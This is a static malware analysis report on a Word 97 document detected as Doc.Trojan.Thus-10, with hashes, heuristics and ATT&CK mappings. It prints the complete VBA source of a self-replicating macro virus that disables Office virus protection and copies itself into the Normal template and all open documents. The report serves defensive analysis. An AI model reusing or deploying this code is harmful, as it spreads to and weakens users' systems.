Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 210068813942f989…

MALICIOUS

Office (OLE)

27.5 KB Created: 2002-05-15 15:02:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-18
MD5: 01e8642c11e5b7fa69ed609be62a5a00 SHA-1: 2666183aadbe04db18916e0f5b391471eb41e8e5 SHA-256: 210068813942f98933ec414f455de3ca2c8da67ccbac2d2bb009ccfa6306aea8
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that attempt to disable virus protection and replicate themselves to the Normal template. This behavior is indicative of malware aiming for persistence and evasion. The ClamAV detection 'Doc.Trojan.Thus-10' further supports its malicious nature. The script's self-replication mechanism suggests an attempt to establish persistence.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2483 bytes
SHA-256: 2000bea6f6481609da14507fc4cb8d9f4449f95c782695c7e6b1f6a61602e856
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AntiThus2'
'Anti-Smyser'
' Програма призначена для знераження віруса 'Anti-Smyser'
    On Error Resume Next
    Application.Options.VirusProtection = False
 If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus2'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    'Response = MsgBox("Документ вилікувано!", vbOKOnly, "Повідомлення")
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    CVD = 0
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus2'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
        CVD = CVD + 1
    Next k
    'Response = MsgBox(Str(CVD) + " документи вилікувано!", vbOKOnly, "Повідомлення")
   
    'Application.Options.VirusProtection = True
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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